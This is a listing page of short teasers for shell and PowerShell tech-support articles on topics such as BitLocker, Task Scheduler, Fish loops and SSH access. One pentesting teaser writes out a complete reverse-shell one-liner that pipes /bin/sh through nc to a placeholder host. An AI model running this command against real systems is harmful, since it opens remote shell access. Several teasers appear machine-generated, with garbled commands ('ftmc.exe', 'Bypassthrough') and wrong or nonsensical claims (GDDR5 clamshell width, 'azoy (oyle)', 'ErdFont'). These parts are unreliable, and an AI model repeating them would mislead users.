Articles about shell | UserComp.com | Page [ 5 ]

Enabling BitLocker Full Disk Encryption with PowerShell: Correct Usage
Enabling BitLocker Full Disk Encryption with PowerShell: Correct Usage

This article explains the correct usage of PowerShell commands for enabling BitLocker full disk encryption, addressing misconceptions regarding the 'UsedSpaceOnly' parameter.

Read More
Resolving CurserSync Issues with FishShell on Raspberry Pi via SSH
Resolving CurserSync Issues with FishShell on Raspberry Pi via SSH

Experience CurserSync connection issues while using FishShell on Raspberry Pi via SSH? Learn how to troubleshoot and resolve these common problems.

Read More
Greping Right-to-Left Scripts: Color Results with azoy (oyle) Character
Greping Right-to-Left Scripts: Color Results with azoy (oyle) Character

Learn how to use grep to search for right-to-left scripts, specifically the Yiddish character azoy (oyle), and colorize the results.

Read More
Capturing Functionality: Window's cmd prompts, PowerShell list commands using net localgroup
Capturing Functionality: Window's cmd prompts, PowerShell list commands using net localgroup

Learn how to use PowerShell and net localgroup commands to manage user and group permissions in Windows environments, including isolated networks.

Read More
Renaming Files in a Folder using PowerShell
Renaming Files in a Folder using PowerShell

Learn how to rename files in a folder using PowerShell. This article provides a simple PowerShell command for renaming files in a folder with suggested file extensions.

Read More
Automating WinSCP FTP Transfers with Powershell: Variable Space-Containing Paths Causing Issues
Automating WinSCP FTP Transfers with Powershell: Variable Space-Containing Paths Causing Issues

Learn how to handle variable space-containing paths in WinSCP FTP transfers using Powershell scripts.

Read More
Running Programs with PowerShell and psexec64: A Task Scheduler Script Example
Running Programs with PowerShell and psexec64: A Task Scheduler Script Example

In this tech support article, we'll walk you through an example of using PowerShell and psexec64 to execute a program with required arguments in a Task Scheduler script. We'll demonstrate the process on a Windows system.

Read More
Automating Tasks with Shell Scripts: Sudo OpenVPN, Python, ifconfig, and Docker-compose
Automating Tasks with Shell Scripts: Sudo OpenVPN, Python, ifconfig, and Docker-compose

Learn how to automate tasks using shell scripts in various scenarios, including opening OpenVPN files, running Python scripts, configuring ifconfig, and managing Docker-compose.

Read More
Understanding and Disabling 'Done' Messages in Shell Scripts
Understanding and Disabling 'Done' Messages in Shell Scripts

In this article, we'll discuss how to prevent the 'Done' message from appearing when running shell commands using methods like `set +m` and editing your profile or bashrc files.

Read More
C-Shells: Tar Redirect and Restore to Another Location
C-Shells: Tar Redirect and Restore to Another Location

In this tech support article, we will guide you through the process of tar redirection and restore using C-Shells. Learn how to extract a tar archive to a different location and restore a tar file to its original state.

Read More
Troubleshooting: Creating .crt and .key files using certutil with empty certificate request files
Troubleshooting: Creating .crt and .key files using certutil with empty certificate request files

This article explains how to resolve an issue when creating Apache SSL certificates using certutil and empty certificate request files.

Read More
Stopping a Windows 11 PowerShell Script Task in Task Scheduler
Stopping a Windows 11 PowerShell Script Task in Task Scheduler

Learn how to stop or interrupt a PowerShell script task in Windows 11 Task Scheduler.

Read More
Fish: Not able to load built-in functions when experimenting with subdirectories
Fish: Not able to load built-in functions when experimenting with subdirectories

When experimenting with Fish shell and looping through subdirectories in the current directory, the user encounters an issue where built-in functions are not being loaded. In this article, we'll discuss possible solutions to resolve the problem.

Read More
Fish Shell: Looping Through Subdirectories in Current Directory
Fish Shell: Looping Through Subdirectories in Current Directory

In this tech support article, we will explore how to loop through subdirectories in the current directory using Fish Shell. While Fish Shell syntax is similar to Bash, handling subdirectories with loops is an essential skill for any system administrator. Try the following steps to loop through subdirectories in Fish Shell: 1. Set the current directory as the working directory. 2. Use the `for` loop construct to iterate through each subdirectory. 3. Execute a command in each subdirectory. Example: echo 'Hello from {dir}' --readmore

Read More
Customizing PowerShell Script Console Properties Permanently
Customizing PowerShell Script Console Properties Permanently

Learn how to customize PowerShell script console properties permanently without changing default settings. Default font size is small (14).

Read More
PowerShell Double-Quote Mangling and Executing External Programs in Windows 10
PowerShell Double-Quote Mangling and Executing External Programs in Windows 10

Learn how to properly handle double-quotes in PowerShell when executing external programs on Windows 10.

Read More
Determining Computer Activation Status in Active Directory using PowerShell
Determining Computer Activation Status in Active Directory using PowerShell

Learn how to write a PowerShell script to determine the activation status of computers in an Active Directory environment, both domain-joined and stand-alone, with and without using offline activation through CAC.

Read More
Creating a RAM Drive in Windows 10 using PowerShell
Creating a RAM Drive in Windows 10 using PowerShell

Learn how to create and manage a RAM drive in Windows 10 using PowerShell. This in-memory drive can be used to temporarily store and access sensitive data.

Read More
Managing Preferred Languages in Microsoft Edge Browser using PowerShell: Removal
Managing Preferred Languages in Microsoft Edge Browser using PowerShell: Removal

In this article, we will discuss how to manage and remove preferred languages in Microsoft Edge Browser using PowerShell.

Read More
PowerShell Won't Start: Absolute Path Information Required
PowerShell Won't Start: Absolute Path Information Required

After resetting Windows, PowerShell fails to start. Attempting to use the cmd command does not resolve the issue. This article provides suggested solutions.

Read More
Enabling BitLocker with PowerShell: Avoiding Startup Authentication for Endpoints in Private Networks
Enabling BitLocker with PowerShell: Avoiding Startup Authentication for Endpoints in Private Networks

Learn how to enable BitLocker on Windows endpoints in private networks using PowerShell scripts, bypassing startup authentication for offline systems.

Read More
Setting Win10 Welcome Screen and User Account Input Language to FR-BE using PowerShell
Setting Win10 Welcome Screen and User Account Input Language to FR-BE using PowerShell

Learn how to set the language for the Win10 welcome screen and user accounts using PowerShell. Follow these steps to configure your system in French (FR) or Belgian (BE).

Read More
SCP Not Working: Custom Python Shell Script Migration from Ubuntu 20.04 to Debian 12
SCP Not Working: Custom Python Shell Script Migration from Ubuntu 20.04 to Debian 12

This article discusses the issue of SCP not working after migrating a custom Python shell script from Ubuntu 20.04 to Debian 12.

Read More
Shell Script Gives 'command not found' Error in Terminal for Beets Music Library Management
Shell Script Gives 'command not found' Error in Terminal for Beets Music Library Management

Users of Beets music library management software on Mac encounter an issue where certain terminal commands, such as 'beet import', return a 'command not found' error. This article provides suggested solutions to resolve the issue.

Read More
Bash Scripting: Count File Numbers in Directories with Root Path Parameter
Bash Scripting: Count File Numbers in Directories with Root Path Parameter

Learn how to write a Bash script to count the number of files in directories with a root path passed as a parameter.

Read More
Jerky Scrolling in Ubuntu: A Love-Hate Relationship with Linux and Windows
Jerky Scrolling in Ubuntu: A Love-Hate Relationship with Linux and Windows

Experience jerky scrolling in Ubuntu but can't go back to Windows? Learn how to troubleshoot and solve this issue while maintaining your love-hate relationship with both operating systems.

Read More
Automating Audio Folder Normalization with Powershell: Deleting Unnecessary Text Files
Automating Audio Folder Normalization with Powershell: Deleting Unnecessary Text Files

In this tech support article, we will guide you through the process of automating audio folder normalization using PowerShell. We will cover deleting unnecessary text files containing custom tags and using the command Run to normalize the audio files.

Read More
PowerShell: Checking if a Package is Installed and Installed Time
PowerShell: Checking if a Package is Installed and Installed Time

In this article, we will learn how to check if a PowerShell package is installed and retrieve the installation time using PowerShell cmdlets.

Read More
Permission Denied While Creating Packer Build: Troubleshooting Shell Script Execution
Permission Denied While Creating Packer Build: Troubleshooting Shell Script Execution

Learn how to troubleshoot and resolve permission denied errors while creating Packer builds, focusing on shell script execution.

Read More
Creating a Mac Shell Script for Connecting to a School Wi-Fi Network
Creating a Mac Shell Script for Connecting to a School Wi-Fi Network

Learn how to create a Mac shell script for connecting to a school Wi-Fi network using the NetworkSetup command. Follow the steps below to set up the script and make necessary adjustments for your specific network.

Read More
Windows Server 2019 Crashes upon Launch: A Persistent Issue
Windows Server 2019 Crashes upon Launch: A Persistent Issue

In this article, we explore a long-standing issue where Windows Server 2019 crashes upon launching PowerShell. We discuss potential causes and offer possible solutions for this persistent problem in an enterprise environment.

Read More
PowerShell: Getting Commands from Defined Modules
PowerShell: Getting Commands from Defined Modules

Learn how to retrieve commands defined in PowerShell modules using the Get-Command cmdlet.

Read More
Windows Computer: Gaining SSH Access Outside Home Network Using PowerShell
Windows Computer: Gaining SSH Access Outside Home Network Using PowerShell

Learn how to set up SSH access for a Windows computer outside of a home network using PowerShell and port forwarding.

Read More
Windows Computer: Gaining SSH Access Outside Local Network Using PowerShell
Windows Computer: Gaining SSH Access Outside Local Network Using PowerShell

Learn how to set up SSH access for a Windows computer outside a local network using PowerShell and automatic port forwarding.

Read More
Running ShellExecute() Command Without Temporary File: A Tech Solution
Running ShellExecute() Command Without Temporary File: A Tech Solution

Learn how to run ShellExecute() command without creating a temporary file in PowerShell. Discover the solution to this common issue and improve your scripting skills.

Read More
Automating Text File Maintenance with Powershell: Keep Specific Lines
Automating Text File Maintenance with Powershell: Keep Specific Lines

Learn how to use Powershell to keep specific lines in a text file by filtering and redirecting output.

Read More
Understanding PS1 File Execution in CLI GUI Explorers
Understanding PS1 File Execution in CLI GUI Explorers

Learn about executing PS1 files using Command Line Interface (CLI) GUI Explorers like PowerShell ISE. Understand the process with an example.

Read More
GDDR5 Clamshell Mode: Impact on Bandwidth
GDDR5 Clamshell Mode: Impact on Bandwidth

GDDR5 memory supports a mode called Clamshell Mode, where two memory chips share a single 32-bit segment. This effectively reduces the memory width by 16 bits. Learn more about the implications of Clamshell Mode on VRAM bandwidth.

Read More
Running Multiple Commands with Admin PS1 File in Windows Terminal
Running Multiple Commands with Admin PS1 File in Windows Terminal

Learn how to run multiple commands using an Admin PS1 file in Windows Terminal. This article provides a step-by-step guide with an example.

Read More
Troubleshooting Powershell's Where-Object with Returning Two Values
Troubleshooting Powershell's Where-Object with Returning Two Values

Learn how to handle situations when Powershell's Where-Object command returns two values.

Read More
Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix
Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Read More
Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet
Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Read More
Understanding the Order of Shell Source Files: A Complete Overview
Understanding the Order of Shell Source Files: A Complete Overview

While researching the ordering of shell source files, we came across several sources online and even read parts of manual shells. However, the order of sourcing still confuses us.

Read More
Using ErdFont with PowerShell on Windows 10
Using ErdFont with PowerShell on Windows 10

Learn how to use ErdFont, a font rendering engine, with PowerShell on Windows 10. This article explains the installation process and provides examples of using ErdFont's features in PowerShell.

Read More
Generate Random Number: Email Typed - Custom Text (Shell Script in Python)
Generate Random Number: Email Typed - Custom Text (Shell Script in Python)

Learn how to generate a random number using an email typed input in a Python shell script. This script is useful for creating unique codes or entries.

Read More
Configuring Jenkins: Change PowerShell Core Default Terminal Size on Linux Host
Configuring Jenkins: Change PowerShell Core Default Terminal Size on Linux Host

Learn how to configure Jenkins to set the default terminal size for PowerShell Core on Linux hosts. This article suggests a solution found on Stack Overflow.

Read More
Understanding the Impact of ~/.zlogout on Non-Interactive ZSH Shells
Understanding the Impact of ~/.zlogout on Non-Interactive ZSH Shells

In this tech support article, we will discuss the effect of the ~/.zlogout file on non-interactive ZSH shells and explain what happens when the script contained within it is not sourced. We will also cover the contents of the script and its implications.

Read More
Fastest Way to Get Administrator Privileges in Windows Terminal with Batch Script using PowerShell
Fastest Way to Get Administrator Privileges in Windows Terminal with Batch Script using PowerShell

Learn how to quickly obtain administrator privileges in Windows Terminal using a Batch Script that calls PowerShell. Use the following command: `ftmc.exe > nul || (PowerShell.exe -Version 5.1 -ExecutionPolicy Bypassthrough -File %~0 & exit)`

Read More
Faster Way to Get Administrator Privileges within Windows Terminal
Faster Way to Get Administrator Privileges within Windows Terminal

Learn how to quickly obtain administrator privileges within the Windows Terminal by calling a batch script that executes PowerShell with elevated permissions.

Read More
Keeping Progress Bar Active While Creating GUI in PowerShell
Keeping Progress Bar Active While Creating GUI in PowerShell

Learn how to keep the progress bar active while creating a GUI in PowerShell. In this article, we will discuss two scripts that work well for replacing current software and transferring profiles to a new machine.

Read More